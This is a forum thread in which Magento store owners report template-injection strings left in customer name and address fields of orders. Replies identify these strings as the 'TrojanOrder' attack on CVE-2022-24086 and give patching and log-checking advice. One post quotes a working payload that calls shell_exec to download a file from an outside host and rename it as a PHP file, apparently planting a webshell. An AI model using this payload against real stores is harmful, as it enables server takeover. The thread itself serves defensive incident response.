I recently had an order come through where code had been inserted into the customer's first name and second name.

This code was:

{{var this.getTemplateFilter().filter(foobar)}}{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(cd${IFS%??}

Is this an attempted attack?

What validation does Magento 2.4.3 CE provide to block code injection?

  • I also just had this happen recently. I'm going to be reaching out to support to see what they say about it. I can update here when I know more.
    – Jon Gallup
    Commented Oct 17, 2022 at 12:19

4 Answers 4

  1. You can add 'getTemplateFilter' to the list of banned keywords. You can also add citytoohot.fr in Fishpig security suite
  • How do you add to "Banned Keywords"? Where is this setting in Magento? Commented Jan 4, 2023 at 1:23
  • @artco how do we add to banned keywords?
    – AndyJH
    Commented Jan 11, 2023 at 10:30
  • I use Fishpig NOBOTS, originally to help with bots crashing the site on a not very good cpanel.
    – artco
    Commented Jan 26, 2023 at 18:02
  • Sorry I have just read the question Nobots is a plugin it is not standard in Magento
    – artco
    Commented Jan 26, 2023 at 18:03

Me too this is the full address in the failed sale

{{var this.getTemplateFilter().filter(foobar)}}{{var this.getTemplateFilter().addAfterFilterCallback(shell_exec).filter(curl${IFS%??}-O${IFS%??}https://www.citytoohot.fr/css/retro.css;mv${IFS%??}retro.css${IFS%??}b2b.php")}} Huevos 1 avenue Los Angels, California, 90017 United States T: 3455543453



Summarizing what I found:

This attack tries to use two vulnerabilities:

  • Code execution in e-mail templates, which is now patched in 2.4.3-p2 release notes. This is the harmful part if not patched.
  • Guest checkout via REST API is available even if that is disabled, and also anonymous guest web API call are disabled. There is a GitHub Issue which is still open with P1 high priority - follow it for code updates. This is less harmful other than annoying.

If this happened to you and there is curl and filename in the code, then check /magento2/pub/ for the filenames in the code. Also check the access.log for these filenames in the code, if the response was 404, then is should be ok.


This is a "TrojanOrder" attack for CVE-2022-24086. If you have patched or upgraded Magento to the latest supported release, this is merely an unsuccessful attack probe and you do not have to worry. See this Magento version/security patch matrix. However, if you have not upgraded Magento in time after Feb 2022, chances are that attackers managed to inject admin accounts and webshells into your system. It is recommended to run an ecommerce malware scanner such as eComscan, to find all traces of unauthorized access.

See also https://sansec.io/malware/citytoohot.fr

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.